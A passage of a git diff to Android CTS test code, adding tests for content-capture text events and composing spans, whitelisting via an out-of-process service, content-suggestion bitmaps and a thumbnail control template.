+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package android.contentcaptureservice.cts;
+
+interface IOutOfProcessDataSharingService {
+    boolean isContentCaptureManagerAvailable();
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
index aa4fa9e..66521f6 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
@@ -45,6 +45,7 @@
 import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
 import android.os.Bundle;
 import android.platform.test.annotations.AppModeFull;
+import android.text.Editable;
 import android.util.ArraySet;
 import android.util.Log;
 import android.view.View;
@@ -56,6 +57,8 @@
 import android.view.contentcapture.ContentCaptureSessionId;
 import android.view.contentcapture.DataRemovalRequest;
 import android.view.contentcapture.DataRemovalRequest.LocusIdRequest;
+import android.view.inputmethod.BaseInputConnection;
+import android.widget.EditText;
 import android.widget.LinearLayout;
 import android.widget.TextView;
 
@@ -425,9 +428,15 @@
         activity.syncRunOnUiThread(() -> {
             activity.mUsername.setText("a");
             activity.mUsername.setText("ab");
+            activity.mUsername.setText("");
+            activity.mUsername.setText("abc");
 
             activity.mPassword.setText("d");
+            activity.mPassword.setText("");
+            activity.mPassword.setText("");
             activity.mPassword.setText("de");
+            activity.mPassword.setText("def");
+            activity.mPassword.setText("");
 
             activity.mUsername.setText("abc");
         });
@@ -440,19 +449,172 @@
 
         assertRightActivity(session, sessionId, activity);
 
+        final int additionalEvents = 8;
+        final List<ContentCaptureEvent> events = activity.assertInitialViewsAppeared(session,
+                additionalEvents);
+
+        final int i = LoginActivity.MIN_EVENTS;
+
+        assertViewTextChanged(events, i, activity.mUsername.getAutofillId(), "a");
+        assertViewTextChanged(events, i + 1, activity.mUsername.getAutofillId(), "ab");
+        assertViewTextChanged(events, i + 2, activity.mUsername.getAutofillId(), "");
+        assertViewTextChanged(events, i + 3, activity.mUsername.getAutofillId(), "abc");
+        assertViewTextChanged(events, i + 4, activity.mPassword.getAutofillId(), "d");
+        assertViewTextChanged(events, i + 5, activity.mPassword.getAutofillId(), "");
+        assertViewTextChanged(events, i + 6, activity.mPassword.getAutofillId(), "");
+        assertViewTextChanged(events, i + 7, activity.mPassword.getAutofillId(), "de");
+        assertViewTextChanged(events, i + 8, activity.mPassword.getAutofillId(), "def");
+        assertViewTextChanged(events, i + 9, activity.mPassword.getAutofillId(), "");
+        assertViewTextChanged(events, i + 10, activity.mUsername.getAutofillId(), "abc");
+
+        activity.assertInitialViewsDisappeared(events, additionalEvents);
+    }
+
+    @Test
+    public void testComposingSpan_mergedEvent() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        LoginActivity.onRootView((activity, rootView) -> ((LoginActivity) activity).mUsername
+                .setText(""));
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.syncRunOnUiThread(() -> {
+            // add text with composing span.
+            appendText(activity.mUsername, "A");
+            appendText(activity.mUsername, "n");
+            appendText(activity.mUsername, "d");
+            appendText(activity.mUsername, "r");
+            appendText(activity.mUsername, "o");
+            appendText(activity.mUsername, "i");
+            appendText(activity.mUsername, "d");
+        });
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        final ContentCaptureSessionId sessionId = session.id;
+
+        assertRightActivity(session, sessionId, activity);
+
+        final int additionalEvents = 5;
+        final List<ContentCaptureEvent> events = activity.assertInitialViewsAppeared(session,
+                additionalEvents);
+
+        final int i = LoginActivity.MIN_EVENTS;
+
+        assertViewTextChanged(events, i, activity.mUsername.getAutofillId(), "Android");
+
+        activity.assertInitialViewsDisappeared(events, additionalEvents);
+    }
+
+    @Test
+    public void testComposingSpan_notMergedWithoutComposing() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        LoginActivity.onRootView((activity, rootView) -> ((LoginActivity) activity).mUsername
+                .setText(""));
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.syncRunOnUiThread(() -> {
+            // add text with composing span.
+            appendText(activity.mUsername, "G");
+            appendText(activity.mUsername, "o");
+            appendText(activity.mUsername, "o");
+            appendText(activity.mUsername, "d");
+
+            // append text without composing span
+            appendText(activity.mUsername, " ", false);
+
+            // append text with composing span, again.
+            appendText(activity.mUsername, "m");
+            appendText(activity.mUsername, "orning");
+        });
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        final ContentCaptureSessionId sessionId = session.id;
+
+        assertRightActivity(session, sessionId, activity);
+
+        final int additionalEvents = 5;
+        final List<ContentCaptureEvent> events = activity.assertInitialViewsAppeared(session,
+                additionalEvents);
+
+        final int i = LoginActivity.MIN_EVENTS;
+
+        assertViewTextChanged(events, i, activity.mUsername.getAutofillId(), "Good");
+        assertViewTextChanged(events, i + 1, activity.mUsername.getAutofillId(), "Good ");
+        assertViewTextChanged(events, i + 2, activity.mUsername.getAutofillId(), "Good morning");
+
+        activity.assertInitialViewsDisappeared(events, additionalEvents);
+    }
+
+    @Test
+    public void testComposingSpan_differentEditText() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        LoginActivity.onRootView((activity, rootView) -> ((LoginActivity) activity).mUsername
+                .setText(""));
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.syncRunOnUiThread(() -> {
+            // add text with composing span.
+            appendText(activity.mUsername, "Good");
+            // add text with composing span on the different EditText.
+            appendText(activity.mPassword, "How");
+            // switch again.
+            appendText(activity.mUsername, " morning");
+            appendText(activity.mPassword, " are you");
+        });
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        final ContentCaptureSessionId sessionId = session.id;
+
+        assertRightActivity(session, sessionId, activity);
+
         final int additionalEvents = 3;
         final List<ContentCaptureEvent> events = activity.assertInitialViewsAppeared(session,
                 additionalEvents);
 
         final int i = LoginActivity.MIN_EVENTS;
 
-        assertViewTextChanged(events, i, activity.mUsername.getAutofillId(), "ab");
-        assertViewTextChanged(events, i + 1, activity.mPassword.getAutofillId(), "de");
-        assertViewTextChanged(events, i + 2, activity.mUsername.getAutofillId(), "abc");
+        assertViewTextChanged(events, i, activity.mUsername.getAutofillId(), "Good morning");
+        assertViewTextChanged(events, i + 1, activity.mPassword.getAutofillId(), "How are you");
 
         activity.assertInitialViewsDisappeared(events, additionalEvents);
     }
 
+    private void appendText(EditText editText, String text) {
+        appendText(editText, text, true);
+    }
+
+    private void appendText(EditText editText, String text, boolean hasComposingSpan) {
+        Editable editable = editText.getText();
+        String s = editable.toString() + text;
+        Editable newEditable = Editable.Factory.getInstance().newEditable(s);
+        if (hasComposingSpan) {
+            BaseInputConnection.setComposingSpans(newEditable);
+        } else {
+            BaseInputConnection.removeComposingSpans(editable);
+        }
+        editable.replace(0, editable.length() , newEditable);
+    }
+
     @Test
     public void testDisabledByFlagSecure() throws Exception {
         final CtsContentCaptureService service = enableService();
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/OutOfProcessDataSharingService.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/OutOfProcessDataSharingService.java
index 23153e6..27224c8 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/OutOfProcessDataSharingService.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/OutOfProcessDataSharingService.java
@@ -21,7 +21,6 @@
 import android.app.Service;
 import android.content.Intent;
 import android.content.LocusId;
-import android.os.Binder;
 import android.os.IBinder;
 import android.os.ParcelFileDescriptor;
 import android.os.Process;
@@ -49,7 +48,14 @@
     String mLocusId = "DataShare_CTSTest";
     String mMimeType = "application/octet-stream";
 
-    private final IBinder mBinder = new LocalBinder();
+    private final IBinder mBinder = new IOutOfProcessDataSharingService.Stub() {
+        @Override
+        public boolean isContentCaptureManagerAvailable() {
+            ContentCaptureManager manager =
+                    getApplicationContext().getSystemService(ContentCaptureManager.class);
+            return manager != null && manager.isContentCaptureEnabled();
+        }
+    };
 
     @Override
     public int onStartCommand(Intent intent, int flags, int startId) {
@@ -111,11 +117,4 @@
                     }
                 });
     }
-
-    public class LocalBinder extends Binder {
-        OutOfProcessDataSharingService getService() {
-            return OutOfProcessDataSharingService.this;
-        }
-    }
-
 }
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ResizingEditActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ResizingEditActivityTest.java
index 03fbc1c..384c959 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ResizingEditActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ResizingEditActivityTest.java
@@ -27,6 +27,7 @@
 import android.view.contentcapture.ContentCaptureSessionId;
 
 import androidx.annotation.NonNull;
+import androidx.test.filters.FlakyTest;
 import androidx.test.rule.ActivityTestRule;
 
 import com.android.compatibility.common.util.ActivitiesWatcher.ActivityWatcher;
@@ -78,6 +79,7 @@
         ResizingEditActivity.onRootView(null);
     }
 
+    @FlakyTest(bugId = 162372863)
     @Test
     public void testInsetsChangedOnImeAction() throws Exception {
         final CtsContentCaptureService service = enableService();
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/WhitelistTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/WhitelistTest.java
index 2f9710d..13d6037 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/WhitelistTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/WhitelistTest.java
@@ -17,6 +17,7 @@
 package android.contentcaptureservice.cts;
 
 import static android.contentcaptureservice.cts.Helper.MY_PACKAGE;
+import static android.contentcaptureservice.cts.Helper.MY_SECOND_PACKAGE;
 import static android.contentcaptureservice.cts.Helper.NO_ACTIVITIES;
 import static android.contentcaptureservice.cts.Helper.NO_PACKAGES;
 import static android.contentcaptureservice.cts.Helper.read;
@@ -24,13 +25,20 @@
 import static android.contentcaptureservice.cts.Helper.toSet;
 import static android.contentcaptureservice.cts.OutOfProcessActivity.ACTION_CHECK_MANAGER_AND_FINISH;
 
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import android.content.ComponentName;
+import android.content.Intent;
+import android.os.IBinder;
 import android.platform.test.annotations.AppModeFull;
 import android.service.contentcapture.ContentCaptureService;
+import android.support.test.uiautomator.UiDevice;
 
 import androidx.annotation.NonNull;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ServiceTestRule;
 
 import org.junit.Ignore;
 import org.junit.Test;
@@ -46,6 +54,8 @@
  */
 @AppModeFull(reason = "BlankWithTitleActivityTest is enough")
 public class WhitelistTest extends AbstractContentCaptureIntegrationActivityLessTest {
+    public final ServiceTestRule mServiceRule = new ServiceTestRule();
+    private UiDevice mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
 
     @Ignore("will be whitelisted 'lite'")
     @Test
@@ -82,6 +92,18 @@
     }
 
     @Test
+    public void testWhitelisted_byService_alreadyRunning() throws Exception {
+        IOutOfProcessDataSharingService service = getDataShareService();
+
+        enableService(toSet(MY_PACKAGE), NO_ACTIVITIES);
+
+        // Wait for update to propagate
+        mUiDevice.waitForIdle();
+
+        assertContentCaptureManagerAvailable(service, true);
+    }
+
+    @Test
     public void testRinseAndRepeat() throws Exception {
 
         // Right package
@@ -106,6 +128,15 @@
         launchActivityAndAssert(service, /* expectHasManager= */ false);
     }
 
+    private void assertContentCaptureManagerAvailable(IOutOfProcessDataSharingService service,
+            boolean isAvailable) throws Exception {
+        try {
+            assertThat(service.isContentCaptureManagerAvailable()).isEqualTo(isAvailable);
+        } finally {
+            killService();
+        }
+    }
+
     private void launchActivityAndAssert(@NonNull CtsContentCaptureService service,
             boolean expectHasManager) throws Exception {
         OutOfProcessActivity.startActivity(sContext, ACTION_CHECK_MANAGER_AND_FINISH);
@@ -124,4 +155,19 @@
             OutOfProcessActivity.killOutOfProcessActivity();
         }
     }
+
+    private IOutOfProcessDataSharingService getDataShareService() throws Exception {
+        Intent outsideService = new Intent();
+        outsideService.setComponent(new ComponentName(
+                "android.contentcaptureservice.cts",
+                "android.contentcaptureservice.cts.OutOfProcessDataSharingService"
+        ));
+         IBinder service = mServiceRule.bindService(outsideService);
+        return IOutOfProcessDataSharingService.Stub.asInterface(service);
+    }
+
+    private void killService() {
+        runShellCommand("am broadcast --receiver-foreground "
+                + "-n android.contentcaptureservice.cts/.SelfDestructReceiver");
+    }
 }
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/unit/ViewNodeTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/unit/ViewNodeTest.java
index 142424f..d9a1b7b 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/unit/ViewNodeTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/unit/ViewNodeTest.java
@@ -237,6 +237,7 @@
         structure.setClassName("Classy!");
         structure.setContentDescription("Described I am!");
         structure.setVisibility(View.INVISIBLE);
+        structure.setReceiveContentMimeTypes(new String[]{"text/*", "image/*"});
 
         // Autofill properties
         structure.setAutofillType(View.AUTOFILL_TYPE_TEXT);
@@ -293,6 +294,8 @@
         assertThat(node.getClassName()).isEqualTo("Classy!");
         assertThat(node.getContentDescription().toString()).isEqualTo("Described I am!");
         assertThat(node.getVisibility()).isEqualTo(View.INVISIBLE);
+        assertThat(node.getReceiveContentMimeTypes()).isEqualTo(
+                new String[]{"text/*", "image/*"});
 
         // Autofill properties
         assertThat(node.getAutofillType()).isEqualTo(View.AUTOFILL_TYPE_TEXT);
diff --git a/tests/contentsuggestions/AndroidManifest.xml b/tests/contentsuggestions/AndroidManifest.xml
index 0d47cc2..7786845 100644
--- a/tests/contentsuggestions/AndroidManifest.xml
+++ b/tests/contentsuggestions/AndroidManifest.xml
@@ -14,28 +14,28 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.contentsuggestions.cts"
-    android:targetSandboxVersion="2">
+     package="android.contentsuggestions.cts"
+     android:targetSandboxVersion="2">
 
     <application>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <service
-            android:name=".CtsContentSuggestionsService"
-            android:label="CtsContentSuggestionsService"
-            android:permission="android.permission.BIND_CONTENT_SUGGESTIONS_SERVICE">
+        <service android:name=".CtsContentSuggestionsService"
+             android:label="CtsContentSuggestionsService"
+             android:permission="android.permission.BIND_CONTENT_SUGGESTIONS_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.contentsuggestions.ContentSuggestionsService" />
+                <action android:name="android.service.contentsuggestions.ContentSuggestionsService"/>
             </intent-filter>
         </service>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for the ContentSuggestionsManager APIs."
-        android:targetPackage="android.contentsuggestions.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the ContentSuggestionsManager APIs."
+         android:targetPackage="android.contentsuggestions.cts">
     </instrumentation>
 
 </manifest>
diff --git a/tests/contentsuggestions/TEST_MAPPING b/tests/contentsuggestions/TEST_MAPPING
new file mode 100644
index 0000000..aaf01a4
--- /dev/null
+++ b/tests/contentsuggestions/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsContentSuggestionsTestCases"
+    }
+  ]
+}
diff --git a/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java b/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java
index 31b595a..c927c63 100644
--- a/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java
+++ b/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java
@@ -19,7 +19,7 @@
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
+import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.mockito.ArgumentMatchers.any;
@@ -32,6 +32,7 @@
 import android.app.contentsuggestions.ContentSuggestionsManager;
 import android.app.contentsuggestions.SelectionsRequest;
 import android.content.Context;
+import android.graphics.Bitmap;
 import android.os.Bundle;
 import android.util.Log;
 
@@ -48,6 +49,8 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import org.mockito.ArgumentCaptor;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executors;
 import java.util.concurrent.TimeUnit;
@@ -121,6 +124,26 @@
     }
 
     @Test
+    public void managerForwards_provideContextBitmap() {
+        int taskId = -1; // Explicit bitmap is provided; so task id is absent.
+
+        Bitmap expectedBitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
+        mManager.provideContextImage(expectedBitmap, new Bundle());
+        ArgumentCaptor<Bundle> bundleArg = ArgumentCaptor.forClass(Bundle.class);
+        ArgumentCaptor<Bitmap> bitmapArg = ArgumentCaptor.forClass(Bitmap.class);
+        verifyService().onProcessContextImage(eq(taskId), bitmapArg.capture(),
+            bundleArg.capture());
+        Bitmap actualBitmap = bundleArg.getValue().getParcelable(
+            ContentSuggestionsManager.EXTRA_BITMAP);
+
+        // Both the Bundle bitmap and the explicit bitmap should match the provided one.
+        assertThat(actualBitmap.getWidth()).isEqualTo(expectedBitmap.getWidth());
+        assertThat(actualBitmap.getHeight()).isEqualTo(expectedBitmap.getHeight());
+        assertThat(bitmapArg.getValue().getWidth()).isEqualTo(expectedBitmap.getWidth());
+        assertThat(bitmapArg.getValue().getHeight()).isEqualTo(expectedBitmap.getHeight());
+    }
+
+    @Test
     public void managerForwards_suggestContentSelections() {
         SelectionsRequest request = new SelectionsRequest.Builder(1).build();
         ContentSuggestionsManager.SelectionsCallback callback = (statusCode, selections) -> {};
diff --git a/tests/controls/AndroidManifest.xml b/tests/controls/AndroidManifest.xml
index 4ce024e..0862e62 100644
--- a/tests/controls/AndroidManifest.xml
+++ b/tests/controls/AndroidManifest.xml
@@ -15,21 +15,21 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.controls.cts">
+     package="android.controls.cts">
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="CtsControlsDeviceActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="CtsControlsDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.controls.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.controls.cts">
     </instrumentation>
 </manifest>
diff --git a/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java b/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
index 911ccc2..f0f22ae 100644
--- a/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
+++ b/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
@@ -60,9 +60,9 @@
     public void setUp() {
         mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, new Intent(),
-            PendingIntent.FLAG_UPDATE_CURRENT);
+            PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mPendingIntent2 = PendingIntent.getActivity(mContext, 2, new Intent(),
-            PendingIntent.FLAG_UPDATE_CURRENT);
+            PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mIcon = Icon.createWithResource(mContext, R.drawable.ic_device_unknown);
         mColorStateList = mContext.getResources().getColorStateList(R.color.custom_mower, null);
     }
diff --git a/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java b/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
index 2c0da02..5a18c9c 100644
--- a/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
+++ b/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
@@ -19,11 +19,13 @@
 import static junit.framework.Assert.assertTrue;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 
 import android.app.PendingIntent;
 import android.content.Context;
 import android.content.Intent;
+import android.graphics.drawable.Icon;
 import android.os.Parcel;
 import android.service.controls.Control;
 import android.service.controls.templates.ControlButton;
@@ -31,6 +33,7 @@
 import android.service.controls.templates.RangeTemplate;
 import android.service.controls.templates.StatelessTemplate;
 import android.service.controls.templates.TemperatureControlTemplate;
+import android.service.controls.templates.ThumbnailTemplate;
 import android.service.controls.templates.ToggleRangeTemplate;
 import android.service.controls.templates.ToggleTemplate;
 
@@ -44,18 +47,20 @@
 @RunWith(AndroidJUnit4.class)
 public class CtsControlTemplateTest {
 
+    private static final String PACKAGE_NAME = "android.controls.cts";
+    private static final int TEST_ICON_ID = R.drawable.ic_device_unknown;
     private static final String TEST_ID = "TEST_ID";
     private static final CharSequence TEST_ACTION_DESCRIPTION = "TEST_ACTION_DESCRIPTION";
     private ControlButton mControlButton;
-
+    private Icon mIcon;
     private PendingIntent mPendingIntent;
 
     @Before
     public void setUp() {
         Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
-
+        mIcon = Icon.createWithResource(PACKAGE_NAME, TEST_ICON_ID);
         mControlButton = new ControlButton(true, TEST_ACTION_DESCRIPTION);
-        mPendingIntent = PendingIntent.getActivity(context, 1, new Intent(), 0);
+        mPendingIntent = PendingIntent.getActivity(context, 1, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     @Test
@@ -108,6 +113,37 @@
     }
 
     @Test
+    public void testUnparcelingCorrectClass_thumbnail() {
+        ControlTemplate toParcel = new ThumbnailTemplate(
+                TEST_ID, false, mIcon, TEST_ACTION_DESCRIPTION);
+
+        ControlTemplate fromParcel = parcelAndUnparcel(toParcel);
+
+        assertEquals(ControlTemplate.TYPE_THUMBNAIL, fromParcel.getTemplateType());
+        assertTrue(fromParcel instanceof ThumbnailTemplate);
+    }
+
+    @Test
+    public void testThumbnailTemplate_isActive() {
+        ThumbnailTemplate template = new ThumbnailTemplate(
+                TEST_ID, false, mIcon, TEST_ACTION_DESCRIPTION);
+
+        assertFalse(template.isActive());
+
+        template = new ThumbnailTemplate(TEST_ID, true, mIcon, TEST_ACTION_DESCRIPTION);
+
+        assertTrue(template.isActive());
+    }
+
+    @Test
+    public void testThumbnailTemplate_getIcon() {
+        ThumbnailTemplate template = new ThumbnailTemplate(
+                TEST_ID, false, mIcon, TEST_ACTION_DESCRIPTION);
+
+        assertEquals(mIcon.getResId(), template.getThumbnail().getResId());
+    }
+
+    @Test
     public void testUnparcelingCorrectClass_toggleRange() {
         ControlTemplate toParcel = new ToggleRangeTemplate(TEST_ID, mControlButton,
                 new RangeTemplate(TEST_ID, 0, 2, 1, 1, "%f"));
diff --git a/tests/controls/src/android/controls/cts/CtsControlsService.java b/tests/controls/src/android/controls/cts/CtsControlsService.java
index 593394f..301c34e 100644
--- a/tests/controls/src/android/controls/cts/CtsControlsService.java
+++ b/tests/controls/src/android/controls/cts/CtsControlsService.java
@@ -36,6 +36,7 @@
 import android.service.controls.templates.RangeTemplate;
 import android.service.controls.templates.StatelessTemplate;
 import android.service.controls.templates.TemperatureControlTemplate;
+import android.service.controls.templates.ThumbnailTemplate;
 import android.service.controls.templates.ToggleRangeTemplate;
 import android.service.controls.templates.ToggleTemplate;
 
@@ -65,7 +66,7 @@
     public CtsControlsService() {
         mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, new Intent(),
-            PendingIntent.FLAG_UPDATE_CURRENT);
+            PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mIcon = Icon.createWithResource(mContext, R.drawable.ic_device_unknown);
         mColorStateList = mContext.getResources().getColorStateList(R.color.custom_mower, null);
 
@@ -76,6 +77,7 @@
         mAllControls.add(buildMower(false /* isStarted */));
         mAllControls.add(buildSwitch(false /* isOn */));
         mAllControls.add(buildGate(false /* isLocked */));
+        mAllControls.add(buildCamera(true /* isActive */));
 
         for (Control c : mAllControls) {
             mControlsById.put(c.getControlId(), c);
@@ -191,6 +193,19 @@
             .build();
     }
 
+    public Control buildCamera(boolean active) {
+        String description = active ? "Live" : "Not live";
+        ControlTemplate template = new ThumbnailTemplate("thumbnail", active, mIcon, description);
+        return new Control.StatefulBuilder("camera", mPendingIntent)
+                .setTitle("Camera Title")
+                .setTitle("Camera Subtitle")
+                .setStatus(Control.STATUS_OK)
+                .setStatusText(description)
+                .setDeviceType(DeviceTypes.TYPE_CAMERA)
+                .setControlTemplate(template)
+                .build();
+    }
+
     @Override
     public Publisher<Control> createPublisherForAllAvailable() {
         return new CtsControlsPublisher(mAllControls.stream()
diff --git a/tests/controls/src/android/controls/cts/CtsControlsServiceTest.java b/tests/controls/src/android/controls/cts/CtsControlsServiceTest.java
index 8ae32df..61ccef3 100644
--- a/tests/controls/src/android/controls/cts/CtsControlsServiceTest.java
+++ b/tests/controls/src/android/controls/cts/CtsControlsServiceTest.java
@@ -89,6 +89,8 @@
                 mControlsService.buildSwitch(false)).build());
         expectedControls.add(new Control.StatelessBuilder(
                 mControlsService.buildGate(false)).build());
+        expectedControls.add(new Control.StatelessBuilder(
+                mControlsService.buildCamera(true)).build());
 
         assertControlsList(loadedControls, expectedControls);
     }
diff --git a/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java b/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java
index db36213..0822ca2 100644
--- a/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java
+++ b/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java
@@ -41,7 +41,6 @@
 import java.net.Authenticator;
 import java.net.CookieHandler;
 import java.net.ResponseCache;
-import java.text.DateFormat;
 import java.util.Locale;
 import java.util.Properties;
 import java.util.TimeZone;
@@ -187,23 +186,80 @@
         }
     }
 
-    // http://code.google.com/p/vogar/source/browse/trunk/src/vogar/target/TestEnvironment.java
-    static class TestEnvironment {
-        private static final Field sDateFormatIs24HourField;
-        static {
+    private interface TestEnvironmentResetter {
+        Boolean getDateFormatIs24Hour();
+        void setDateFormatIs24Hour(Boolean value);
+        Properties createDefaultProperties();
+    }
+
+    private static class AndroidTestEnvironmentResetter implements TestEnvironmentResetter {
+        private final Field mDateFormatIs24HourField;
+
+        AndroidTestEnvironmentResetter() {
             try {
                 Class<?> dateFormatClass = Class.forName("java.text.DateFormat");
-                sDateFormatIs24HourField = dateFormatClass.getDeclaredField("is24Hour");
+                mDateFormatIs24HourField = dateFormatClass.getDeclaredField("is24Hour");
             } catch (ReflectiveOperationException e) {
                 throw new AssertionError("Missing DateFormat.is24Hour", e);
             }
         }
 
+        @Override
+        public Boolean getDateFormatIs24Hour() {
+            try {
+                return (Boolean) mDateFormatIs24HourField.get(null);
+            } catch (ReflectiveOperationException e) {
+                throw new AssertionError("Unable to get java.text.DateFormat.is24Hour", e);
+            }
+        }
+
+        @Override
+        public void setDateFormatIs24Hour(Boolean value) {
+            try {
+                mDateFormatIs24HourField.set(null, value);
+            } catch (ReflectiveOperationException e) {
+                throw new AssertionError("Unable to set java.text.DateFormat.is24Hour", e);
+            }
+        }
+
+        @Override
+        public Properties createDefaultProperties() {
+            return new Properties();
+        }
+    }
+
+    private static class StubTestEnvironmentResetter implements TestEnvironmentResetter {
+        @Override
+        public Boolean getDateFormatIs24Hour() {
+            return false;
+        }
+
+        @Override
+        public void setDateFormatIs24Hour(Boolean value) {
+        }
+
+        @Override
+        public Properties createDefaultProperties() {
+            return System.getProperties();
+        }
+    }
+
+    // http://code.google.com/p/vogar/source/browse/trunk/src/vogar/target/TestEnvironment.java
+    static class TestEnvironment {
+        private final static TestEnvironmentResetter sTestEnvironmentResetter;
+        static {
+            if (System.getProperty("java.vendor").toLowerCase().contains("android")) {
+                sTestEnvironmentResetter = new AndroidTestEnvironmentResetter();
+            } else {
+                sTestEnvironmentResetter = new StubTestEnvironmentResetter();
+            }
+        }
+
         private final Locale mDefaultLocale;
         private final TimeZone mDefaultTimeZone;
         private final HostnameVerifier mHostnameVerifier;
         private final SSLSocketFactory mSslSocketFactory;
-        private final Properties mProperties = new Properties();
+        private final Properties mProperties;
         private final Boolean mDefaultIs24Hour;
 
         TestEnvironment(Context context) {
@@ -212,6 +268,7 @@
             mHostnameVerifier = HttpsURLConnection.getDefaultHostnameVerifier();
             mSslSocketFactory = HttpsURLConnection.getDefaultSSLSocketFactory();
 
